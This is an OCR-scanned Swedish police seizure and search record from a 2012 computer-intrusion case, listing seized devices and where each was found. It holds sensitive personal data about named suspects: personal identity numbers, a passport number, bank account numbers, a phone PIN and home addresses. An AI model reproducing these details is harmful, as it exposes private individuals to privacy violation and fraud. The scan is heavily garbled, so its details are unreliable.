20 1 2-020 1 -BG 1 433 6-3 
Hårddisk ( l st) 

Fabrikat : IBM 
Serienummer : T2 1 29084 

Anteckningar: 61 , 5 G B 

Beslag taget från 

Kan ej anges 

Platsbeskrivning 

Från sovrum 
status 

Utlämnad 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

Byrå till höger i sovrum, låda längst ner Annat avslut 

Anspråkstagare 

l st. 
Modell : Deskstar 

Platsbeskrivning Status 

Byrå till höger i sovrum, låda längst ner Annat avslut 

Anspråkstagare 

l st. 
Modell : Deskstar 
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Bes lagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län ll l l ll l ll l ll llll ll ll l llllll llll l ll ll llll ll l ll ll l l l llllll lll l llll ll l l ll ll l l ll l/1 Signerat datum 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 14336-4 
Hårddisk ( l st) 

Fabrikat : Fujitsu 
Anteckningar: 2,5" 

20 12-020 1 -BG 14336-5 
Mp3-spelare ( l st) 

Fabrikat : Sony 

Modell : Walkman 
Anteckningar: Inkl minneskort 

20 1 2-020 1 -BG 14336-6 
Hårddisk ( l st) 

Fabrikat : Hitachi 
Anteckningar: 1 23 GB 

20 1 2-020 1 -BG 14336-7 
Hårddisk ( l st) 

Fabrikat : Hitachi 
Serienummer : CFEYB23A 

Anteckningar: 250GB 

20 1 2-020 1 -BG 14336-8 
Xbox ( l  st) 

Fabrikat : Microsoft 

201 2-020 1 -BG 1 4336 Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning Status 

Byrå till höger i sovrum, låda längst ner Annat avslut 

Anspråkstagare 

l st. 
Serienummer : O 1 1 08460 

Platsbeskrivning Status 

Byrå till höger i sovrum, låda längst ner Utlämnad 

Platsbeskrivning 

Typ : Walkman 

Tillverkningsur : NW-MSII 

Hall, skåp till höger, övre tredje  från 
höger 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 
Serienummer : A6G2BBA1 

Platsbeskrivning 

Hall, skåp till höger, övre tredje  från 
höger 

Modell : Deskstar 

Platsbeskrivning 

Hall, hylla till vänster, längst upp 

Modell : 360 

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 1 433 6-9 
Dator ( l  st) 

Fabrikat : Samsung 
Modell : Galaxy Tab 

20 1 2-020 1 -BG 1 4336- 1 0  
Sim-kort ( l st) 

Fabrikat : Comviq 

20 1 2-020 1 -BG14336- l l  
Simkortsram ( l st) 

Fabrikat : Telia 

20 1 2-020 1 -BG 14336- 1 2  
Hårddisk ( l st) 

Fabrikat : seagate 
Serienummer : 9QM5PQ8C 

Anteckningar: 500GB 

20 1 2-020 1 -BG 14336- 1 3  

Hårddisk ( l st) 

Fabrikat : Samsung 
Anteckningar: 250 GB 

20 12-020 1 -BG 1 4336- 14  
Dator ( l  st) 

Fabrikat : HP Compaq 
Anteckningar: Bärbar dator 
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Beslagsprotoko l l  
Signerat av 

ll l l l l l l l l ll llll l llll ll ll l l l llllll lll l llll l l l l l l ll l l ll lll Signerat datum 

201 2-020 1 -BG 1 4336 Diarienummer 
020 1 -K8 1 864- 1 2  

-

Platsbeskrivning status 

Hall, hylla till vänster, andra hyllan Utlämnad 

uppifrån 
Anspråkstagare 

l st. 
Typ : Handdator 

Platsbeskrivning status 

Låg i Iphonekartong, hall, tredje  hyllan Annat avslut 

uppifrån 
Anspråkstagare 

l st. 
Operatör : Comviq 

Platsbeskrivning status 

Hall, tredje  hyllan uppifrån Annat avslut 

Anspråkstagare 

l st. 

Platsbeskrivning status 

Hall, tredje  hyllan uppifrån Utlämnad 

Anspråkstagare 

l st. 
Modell : Barracuda 

Platsbeskrivning Status 

Hall, tredje  hyllan uppifrån Utlämnad 

Anspråkstagare 

l st. 
Serienummer : S09QJ1DLC04689 

Platsbeskrivning status 

Hall, påse till höger om hylla Fastställd 

Anspråkstagare 

l st. 



Beslagsprotokol l 

Polismyndighet 

Stockholms län 11 1 1 11 1 11 1 11 1111 11 11 1 111111 1111 1 11 11 111 1 11 1 11 11 1 1 1 111111 111 1 1111 1 1 1 1 11 11 1 1 11 111 
Verkställande enhet 201 2-020 1 -BG 1 4336 
LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 14336- 1 5  Platsbeskrivning 

Mobiltelefon ( l st) Kök 

Fabrikat : Nexus 

20 1 2-020 1 -BG 14336- 1 6  Platsbeskrivning 

Ipod ( l st) Kudde köksgolv 

Fabrikat : Apple 

20 1 2-020 1 -BG 14336- 1 7  Platsbeskrivning 

Dator ( l  st) På byrå till höger i vardagsrum 

Fabrikat : Apple Modell : 

Anteckningar: inkl strömadapter 

20 1 2-020 1 -BG 1 4336- 1 8  Platsbeskrivning 

Mp4-spelare ( l st) Byrå till höger i vardagsrum 

Fabrikat : DM-tech 

20 1 2-020 1 -BG 14336- 1 9  Platsbeskrivning 

Minneskort ( l st) Skafferi i kök 

Fabrikat : Kingston Typ :  

Anteckningar: 2GB 

20 1 2-020 1 -BG 14336-20 Platsbeskrivning 

Usb-minne ( l st) Skafferi i kök 

Anteckningar: 5 12 mb 

20 1 2-020 1 -BG 14336-2 1 Platsbeskrivning 

Mobiltelefon ( l st) Skafferi i kök 

Fabrikat : Sony Ericsson Modell : 

Färg : Röd 
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Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Utlämnad 

Anspråkstagare 

l st. 

Status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Utlämnad 

Anspråkstagare 

l st. 
MaeBook Air 

status 

Fastställd 

Anspråkstagare 

l st. 

Status 

Annat avslut 

Anspråkstagare 

l st. 

Multimedia card (MMC) 

Status 

Annat avslut 

Anspråkstagare 

l st. 

status 

Fastställd 

Anspråkstagare 

l st. 

u6 1 0  
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Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 1 1 1 1 1 1 11 1111 1 111 1 1111 11 1111 1 11 1 1 1111 11 1 11 11 1 1 1 111111 111 1 1111 11 1 1 11 11 1 1 11 111 Signerat datum 
Verkställande enhet 201 2-020 1 -BG 1 4336 
LU/IT !T-forensisk sektion Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

F öremålspunkter 
-

20 12-020 1 -BG 14336-22 
Platsbeskrivning status 

Hårddisk ( l st) 
Byrålådavänster om skrivbord, Annat avslut 

vardagsrum 
Anspråkstagare 

l st. 
Fabrikat : Samsung Serienummer : S0 1 6YIOY1 0603 8 

Anteckningar: 1 60 GB 

20 12-020 1 -BG 1 4336-23 Platsbeskrivning status 

Hårddisk ( l st) Förråd i hallen Utlämnad 

Anspråkstagare 

l st. 
Fabrikat : IBM Serienummer : YKM93258 

Anteckningar: 30 GB 

20 12-020 1 -BG 14336-24 
Platsbeskrivning Status 

Hårddisk ( l st) 
Byrålåda, till vänster om skrivbord, Fastställd 

vardagsrum 
Anspråkstagare 

l st. 
Fabrikat : Fujitsu IMEI-/SERIE-nr : VH74T l 604C l 5  

20 1 2-020 1 -BG 1 4336-25 
Platsbeskrivning status 

Hårddisk ( l st) 
Byrålåda, till vänster om skrivbord, Annat avslut 

vardagsrum 
Anspråkstagare 

l st. 
Fabrikat : Maxtor IMEI-/SERIE-nr : Y44QX3HE 

Anteckningar: 1 60 GB 

20 1 2-020 1 -BG 1433 6-26 Platsbeskrivning Status 

Mobiltelefon ( l st) Golv i vardagsrum Utlämnad 

Anspråkstagare 

l st. 
Fabrikat : HTC 

Anteckningar: Ev PIN-kod 8276 

20 1 2-020 1 -BG 14336-27 Platsbeskrivning Status 

Playstation ( l st) Bakom TV-möbel i vardagsrum Utlämnad 

Anspråkstagare 

l st. 
Fabrikat : Son y Modell : PS3 



49 1 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 1 1 1 1 1 1 11 1111 1 111 l 11111 111111 1 11 11 1 1 1 111111 111 1 1111 11 1 1 1 1 11 1 1 11 111 Signerat datum 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 1 4336-28 
Hårddisk ( l st) 

Fabrikat : Hitachi 
Anteckningar: 40 GB 

20 1 2-020 1 -BG 1 4336-29 
Mobilt bredband ( l st) 

Fabrikat : Comviq 

20 1 2-020 1 -BG 1 4336-30 
Usb-minne ( l st) 

Fabrikat : Kingston 
Anteckningar: 4GB 

20 1 2-020 1 -BG 1 4336-3 1 
Sim-kort ( l st) 

Fabrikat : Super SIM 

20 1 2-020 1 -BG 14336-32 
Hårddisk ( l st) 

Fabrikat : Western Digital 
Anteckningar: 4GB 

20 12-020 1 -BG 14336-33 

Digitalkamera ( l st) 

Fabrikat : Sony Cybershot 

20 1 2-020 1 -BG 14336-34 
Digitalkamera ( l st) 

Fabrikat : Fujifilm 

201 2-020 1 -BG 1 4336 Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning status 

Höger låda, TV -möbel, vardagsrum Utlämnad 

Anspråkstagare 

l st. 
IMEI-/SERIE-nr : SFHM49KE 

Platsbeskrivning Status 

Höger låda, TV -möbel, vardagsrum Annat avslut 

Anspråkstagare 

l st. 

Platsbeskrivning status 

Höger låda, TV -möbel, vardagsrum Fastställd 

Anspråkstagare 

l st. 
Modell : Datatraveler 

Platsbeskrivning Status 

Höger låda, TV -möbel, vardagsrum Annat avslut 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

Flyttkartong i förråd Annat avslut 

Anspråkstagare 

l st. 
IMEI-/SERIE-nr : WS70 1 0950009 

Platsbeskrivning status 

Flyttkartong i förråd Utlämnad 

Anspråkstagare 

l st. 

Platsbeskrivning status 

Flyttkartong i förråd Utlämnad 

Anspråkstagare 

l st. 
Modell : Finepix 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG 14336-35 
Dator ( l  st) 

Fabrikat : Apple 

20 12-020 1 -BG 14336-36 
Mobiltelefon ( l st) 

Fabrikat : Apple 
Färg : Svart 

20 12-020 1 -BG 14336-37 
Usb-minne ( l st) 

Fabrikat : PQ l 
Anteckningar: 5 1 2mb 

20 12-020 1 -BG 14336-38 
Dator ( l  st) 

Fabrikat : A sus 

20 12-020 1 -BG 14336-39 
Dator ( l  st) 

Fabrikat : Apple 

20 12-020 1 -BG 14336-40 
Hårddisk ( l st) 

Fabrikat : D-link NAS 

20 12-020 1 -BG 1 4336-4 1 
Dator ( l st) 

Fabrikat : Okänt 

492 

Beslagsprotoko l l  
Signerat av 

ll l l l l l l l l ll llll l llll llllll llll l ll ll llll ll l ll ll l l l llllll lll l llll ll l l ll ll l l ll lll Signerat datum 

201 2-020 1 -BG 1 4336 Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning Status 

Tv-bänk, vänster sida Annat avslut 

Anspråkstagare 

l st. 
Modell : Mae mini 

Platsbeskrivning Status 

Soffbord, vardagsrum Utlämnad 

Anspråkstagare 

l st. 
Modell : iPhone 4S 

Platsbeskrivning status 

Bakom soffan i vardagsrum Utlämnad 

Anspråkstagare 

l st. 

Platsbeskrivning Status 

Okänt Utlämnad 

Anspråkstagare 

l st. 

Platsbeskrivning status 

På skrivbord i vardagsrum Annat avslut 

Anspråkstagare 

l st. 
Modell : MaeBook Pro 

Platsbeskrivning Status 

På högtalare mellan TV och dator i Utlämnad 

vardagsrum 
Anspråkstagare 

l st. 
Modell : Sharecenter 

Platsbeskrivning Status 

skrivbord i vardagsrum Utlämnad 

Anspråkstagare 

l st. 
Typ : stationär 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG 14336-42 
Router ( l st) 

Fabrikat : D-link 

Beslagsprotoko l l  

ll ll l l l llllll lll l llll ll l l ll ll l l ll lll 
20 1 2-020 1 -BG1 4336 

Platsbeskrivning 

F önsterbräda i vardagsrum 

Modell : DIR-655 

493 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Utlämnad 

Anspråkstagare 

l st. 



494 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 11 11 1 1 1 11111 111111111 11 1 1 11 11 11 1 1 111 Signerat datum 
Verkställande enhet 20 1 2-020 1 -BG25023 
LU/SF Förmögenhetsgrupp 
Handläggande enhet 

Diarienummer 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Svartholm Warg, Per Gottfrid, 1 984 1 0 1 7-0537  
Plats för verkstälian Datum och klockslag för verkställighet 

Ministry of interior , Phnom Penh, Kambodja 20 1 2-09-06 07: 1 5  
Beslutat av Verkställt av 

Olin, Henrik, Kammaråklagare Persson, Joakim, Assistent 
Kågström, Christer, Kriminalinspektör 

Ändamål med åtgärden Brott 
• Kan antagas ha betydelse för utredningen av 

brott 
04 1 5  - Dataintrång 

Domstol för överklagan 

Nacka Tingsrätt 

F öremålspunkter 

20 1 2-020 1 -BG25023- l  
Hårddisk ( l st) 

Fabrikat : Seagate 

20 1 2-020 1 -BG25023-2 
Hårddisk ( l st) 

Fabrikat : Hitachi 

20 1 2-020 l -BG25023-3 
Usb-minne ( l st) 

Fabrikat : Kingston 
Modell : Datatraveler 

20 1 2-020 1 -BG25023-4 
Usb-minne ( l st) 

Fabrikat : Kingston 

Modell : Datatraveler 

Beslag taget från 

Svartholm W arg, Per Gottfrid 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 
Typ : Hårddisk 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 
Typ : Hårddisk 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 
Typ : USB minne 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 
Typ : USB minne 



495 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 1 1 1 1 1 1 11 1111 1 1111 1111 11 1111 1 1 1 11 1111 11 1 11 11 1 1 1 11111 111111111 11 1 1 11 11 1 1 1 1 111 Signerat datum 
Verkställande enhet 201 2-020 1 -BG25023 
LU/SF Förmögenhetsgrupp Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

F öremålspunkter 

Platsbeskrivning status 
20 12-020 l -BG25023-5 

Ministry of Interior Counter-Terrorism Fastställd 
Usb-minne ( l st) 

Department 
Anspråkstagare 

O st. 
Fabrikat : Sandisk Typ : USB minne 

Modell : Cruzer Micro 

Platsbeskrivning status 
20 1 2-020 1 -BG25023-6 

Ministry of Interior Counter-Terrorism Fastställd 
Minneskort ( l st) 

Department 
Anspråkstagare 

O st. 
Fabrikat : Kingston Typ : CompactFlash Card 

Platsbeskrivning Status 
20 1 2-020 l -BG25023-7 

Ministry of Interior Counter-Terrorism Fastställd 
Router ( l st) 

Department 
Anspråkstagare 

O st. 
Fabrikat : L inksys Typ : Router 

Modell : Wireless-G 
Platsbeskrivning status 

20 1 2-020 1 -BG25023-8 
Ministry of Interior Counter-Terrorism Fastställd 

Pärm ( l st) 
Department 

Anspråkstagare 

O st. 
Märkning : Estoy LTD 

Platsbeskrivning Status 
20 1 2-020 1 -BG25023-9 

Ministry of Interior Counter-Terrorism Fastställd 
Mobilt bredband ( l st) 

Department 
Anspråkstagare 

O st. 
Fabrikat : Huawei 

Anteckningar: Inklusive SIM-kort 

Platsbeskrivning status 
20 12-020 1 -BG25023- l O 

Ministry of Interior Counter-Terrorism Fastställd 
Modem ( l  st) 

Department 
Anspråkstagare 

O st. 
Fabrikat : Zhone 



Polismyndighet 

Stock:holms län 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

Föremålspunkter 

20 1 2-020 1 -BG25023 - l l 
Sim-kort ( l st) 

Beslagsprotoko l l  

ll l l l l l l l l ll llll l ll ll llll ll llll l l l ll llll ll l ll ll l l l lllll lllllllll ll l l ll ll ll l l lll 
201 2-020 1 -BG25023 

Platsbeskrivning 

Ministry of Interior Counter-Terrorism 
Department 

Operatör : Tele2 Mobile 

20 1 2-020 l -BG25023- 1 2  
Modem ( l  st) 

Anteckningar: Endast kåpa 

20 12-020 1 -BG25023- 1 3  
Anteckning ( l st) 

20 1 2-020 1 -BG25023 - 14  
Visitkort ( l st) 

Platsbeskrivning 

Ministry of lnterior Counter-Terrorism 
Department 

Platsbeskrivning 

Ministry of Interior Counter-Terrorism 
Department 

Platsbeskrivning 

Ministry of Interior Counter-Terrorism 
Department 

496 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 
Efternamn : W arg 

Anteckningar: Estoy Ltd. 
Förnamn : Per Gottfrid 

20 1 2-020 1 -BG25023- 1 5  

Bankpapper ( l st) 

Utfardat av : Eurobank EFG 

20 12-020 1 -BG25023- 1 6  
Bagagetag ( l st) 

Platsbeskrivning 

Ministry of Interior Counter-Terrorism 
Department 

Platsbeskrivning 

Ministry of Interior Counter-Terrorism 
Department 

status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG25023- 1 7  
Kvitto ( l  st) 

20 1 2-020 l -BG25023- 1 8 
Mobiltelefon ( l st) 

Fabrikat : Apple 

20 1 2-020 1 -BG25023- 1 9  
Mobiltelefon ( l st) 

Fabrikat : N okia 

20 1 2-020 1 -BG25 023 -20 
Kvitto ( l st) 

Utfårdat av : i Center 

20 1 2-020 1 -BG25023 -2 1 

Anteckningsbok ( l st) 

20 1 2-020 1 -BG25023 -22 
Bankbok ( l  st) 

Efternamn : Svartholm W arg 
Utfårdat av : A el eda Bank P le 
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Beslagsprotoko l l  
Signerat av 

11 11 1 1 1 11111 111111111 11 1 1 11 1 111 1 1 111 Signerat datum 
201 2-020 1 -BG25023 Diarienummer 

020 1 -K8 1 864- 1 2  

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department. Frontglas spräckt vid 
inlämnandet till beslaget,/Bjame. 
Enligt Robert Pock var telefonen trasig 
när beslaget gjordes.  

Anspråkstagare 

O st. 
Modell : iPhone 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 
Förnamn : Per Gottfrid 

Kontonummer : 1 800-20-49 1 274- 1 -2 



498 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 1 1 1 1 1 1 11 1111 11 11 1 1 1111 11 1 11 11 1 1 1 11111 111111111 11 1 1 1 1 11 1 1 1 1 111 Signerat datum 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG25023 -23 
Bankbok ( l st) 

Efternamn : Svartholm W arg 
Utfardat av : A el eda Bank P le 

20 1 2-020 1 -BG25023-24 
Bankbok ( l st) 

Efternamn : Svartholm W arg 
Utfardat av : A el eda Bank P le 

20 12-020 1 -BG25023-25 
Pass ( l st) 

Efternamn : Svartholm W arg 
Personnummer : 1 984 1  O 1 7053 7 

201 2-0201 -BG25023 Diarienummer 
020 1 -K8 1 864- 1 2  

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 
Förnamn : Per Gottfrid 

Kontonummer : 1 800-20-49 1 274- 1 -2 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 

Department 
Anspråkstagare 

O st. 
Förnamn : Per Gottfrid 

Kontonummer : 1 800-20-49 1 274- 1 -2 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 

Department 
Anspråkstagare 

O st. 

Utfardat av : Polismyndigheten i Stock
holm 

Förnamn : Per Gottfrid 
Födelset.(ååååmmdd) : 1 984 1 O l 7 

Utfardat i (land) : Sverige 

Handlingens nummer : 23 8 1 0667 

20 1 2-020 1 -BG25023-26 

Bärbar dator ( l st) 

Fabrikat : Apple 
Tillverkningsnr : C02CF l WXDC79 

Giltig tom( ååååmmdd) : 2 O 1 3  O 1 2  8 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 

Department 
Anspråkstagare 

O st. 
Modell : MaeBook Pro 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG25023-27 
Router ( l st) 

Fabrikat : Netgear 
Modell : WGT624 

Anteckningar: Endast kåpa 

20 12-020 1 -BG25023-28 
Övervakningskamera ( l  st) 

Fabrikat : Fujiko 

20 1 2-020 1 -BG25023-29 
Cd-skivor ( 1 6  st) 

20 12-020 1 -BG25023-30 
Dyrkar ( l st) 

På ring : Nej 

20 12-020 1 -BG25023-3 1 
Modem ( l  st) 

Fabrikat : OnLine 

20 12-020 1 -BG25023-32 
Nyckel ( l st) 

På ring : Nej 
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Beslagsprotoko l l  
Signerat av 

11 1 1 1 1 1 1 1 1 11 1111 1 1111 1111 11 1111 1 1 1 11 1111 11 1 11 11 1 1 1 11111 111111111 11 1 1 11 1 111 1 1 111 Signerat datum 
20 1 2-020 1 -BG25023 Diarienummer 

020 1 -K8 1 864- 1 2  

Platsbeskrivning status 

Ministry of Interior Counter-Terrorism Fastställd 

Department 
Anspråkstagare 

O st. 
Typ : Router 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning Status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 

Platsbeskrivning status 

Ministry of Interior Counter-Terrorism Fastställd 
Department 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

Föremålspunkter 

20 1 2-020 1 -BG25023-33 
Nyckel ( l st) 

På ring : Nej 

20 1 2-020 1 -BG25023-34 
Pärm ( l st) 

Beslagsprotoko l l  

1/ l l l l l l l l ll llll l llll llllll llll l ll ll llll ll l ll ll l l l lllll lllllllll l l l l ll ll l l l l lll 
201 2-020 1 -BG25023 

Platsbeskrivning 

Ministry of Interior Counter-Terrorism 
Department 

Platsbeskrivning 

Ministry of lnterior Counter-Terrorism 
Department 

Märkning : Reservella Limited 

500 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

Misstänkt person 

Beslagsprotoko l l  
Beslag Svartholms gamla laptop 

1111 1111 11 1 11 11 1 1 1 1111111 1 1 1 1111 11 1 1 11 11 111 1 111 
201 2-020 1 -BG25708 

Svartholm Warg, Per Gottfrid, 1 984 1 0 1 7-0537 
Plats för verkstälian 

Beslaget 8 tr. , KUNGSHOLMSGATAN 35 , 
STOCKHOLM 
Beslutat av 

Datum och klockslag för verkställighet 

20 12 - 1 0-04 1 1 :20 

Verkställt av 

50 1 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Olin, Henrik, Kammaråklagare Steenmark, John G, Kriminalinspektör 
Ändamål med åtgärden 
• Kan antagas ha betydelse för utredningen av 

brott 
Domstol för överklagan 

Nacka Tingsrätt 

Föremålspunkter 

Platsbeskrivning 

Brott 

04 1 5  - Dataintrång 

Beslag taget från 

Svartholm W arg, Per Gottfrid 

Status 20 1 2-020 1 -BG25708- l  
Laptop ( l st) Tagen i beslag i beslagets lokaler. Fastställd 

Fabrikat : Compaq 

Modell : Compaq NX70 1 0  
Anteckningar: Strömadapter med i beslag. 

Anspråkstagare 

O st. 
Typ : Bärbar dator 



Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 

Aktuell status 

Verkställd 
Misstänkt person 

Palrnkvist, Jenny Matilda 

Grunduppgifter f6r tvångsmedlet 

Plats för verkstälian 

3C,  i lägenheten , Generatorgatan , 
Husrannsakan sker hos misstänkt 

Nej 

Beslutat av 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 

Protoko l l  över 
h usrannsakan 

Datum och tid för verkställighet 

Ludvika 20 1 2-03-30 06 : 55  

502 

Signerat av 
Ingvar Kjellvås 

Signerat datum 
20 1 2-03 -30 

Diarienummer 
020 1 -K8 1 864- 1 2  

-

Personen hos vilken husrannsakan gjordes var närvarande 

Nej 

Verkställt av 

Kjellvås, Ingvar, Kriminalinspektör 
Persson, Joakim, Assistent 
Starck, Krister, Polisinspektör 

Brott 
• Utröna omständigheter som kan ha betydelse för 04 1 5  - Dataintrång 

utredning om brott 

Omfattning/direktiv 

Se åklagarebeslut 

Övriga närvarande vid åtgärden 

Kauko, Pettokangas 
Ingergerd Palmqvist 

Övriga uppgifter om verkställighet 

Beslag 

1111 11 1 11 11 1 11111 1 1 11 1 11 1 111 
201 2-020 1 -BG8678 

Åtgärder 



Polismyndighet 

Stockholms län 

Protokol l  över 
h usrannsakan 

Enhet 

LU/S Specialbrottsektion 

Underrättelser m. m. 

Händelse 

Beslut fattat av Henrik Rasmusson. 

Signerat 

Verkställd av Ingvar Kjellvås, Krister Starck och Joakim 
Persson den 20 1 2-03-30 06 :55 .  

signerad 

Resulterade i Beslagsprotokoll: 2012-020 1 -BG8678. 

Utfört av 

Ingvar Kjellvås 

Ingvar Kjellvås 

Ingvar Kjellvås 

Ingvar Kjellvås 

Ingvar Kjellvås 

503 

Signerat av 
Ingvar Kjellvås 

Signerat datum 
20 1 2-03 -30 

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum 

20 1 2-03-30 1 4 :40 

20 1 2-03 -30 14 :43 

20 1 2-03 -30 14 :43 

20 1 2-03-30 1 4 :43 

20 1 2-03-30 1 4 :49 



504 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 1 1 1 1 1 1 11 1111 1 1111 1111 11 1111 1 11 11 1111 11 1 11 11 1 11111 1 1 11 1111 11 1 1 11 1 1 11 1 1 111 Signerat datum 
Verkställande enhet 201 2-0201 -BG8678 
LU/S Specialbrottsektion 
Handläggande enhet 

Diarienummer 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Palmkvist, Jenny Matilda, 1 99308 1 0-046 1 

Plats för verkstälian Datum och klockslag för verkställighet 

3C,  i lägenheten , Generatorgatan , Ludvika 20 1 2-03-30 06 :55  
Beslutat av Verkställt av 

Kjellvås, Ingvar, Kriminalinspektör Kjellvås, Ingvar, Kriminalinspektör 
Persson, Joakim, Assistent 

Ändamål med åtgärden 

• Kan antagas ha betydelse för utredningen av 
brott 

Domstol för överklagan 

Stockholms Tingsrätt 

F öremålspunkter 

Platsbeskrivning 

Starck, Krister, Polisinspektör 

Brott 

04 1 5  - Dataintrång 

Beslag taget från 

Palrnkvist, Jenny Matilda 

20 12-020 1 -BG8678- l  
Dator ( l  st) I vardagsrummet 

status 

Annat avslut 

Anspråkstagare 

l st. 
Fabrikat : Dell 

Modell : Utow-Ori 
Typ : Stationär dator 

20 12-020 1 -BG8678-2 
Laptop ( l st) 

Platsbeskrivning 

I Sovrum till höger från hallen räknat. I 

Matildas rum. 

Status 

Annat avslut 

Anspråkstagare 

l st. 
Fabrikat : Toshiba Typ : Bärbar dator 

Modell : EQUIUM P 200 

Anteckningar: Med kablage 

20 1 2-020 1 -BG8678-3 

Dator ( l  st) 

Platsbeskrivning 

I vardagsrummet. 

Anteckningar: Hårddisk med kablage, fabrikat Verbatim 

status 

Annat avslut 

Anspråkstagare 

l st. 



505 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 11 1 11 1 11 1111 1 111 1 1 11 1 11111 1 1 11 1111 1 1 1 1 11 11 1 1 1 1 111 Signerat datum 
Verkställande enhet 

LU/S Specialbrottsektion 
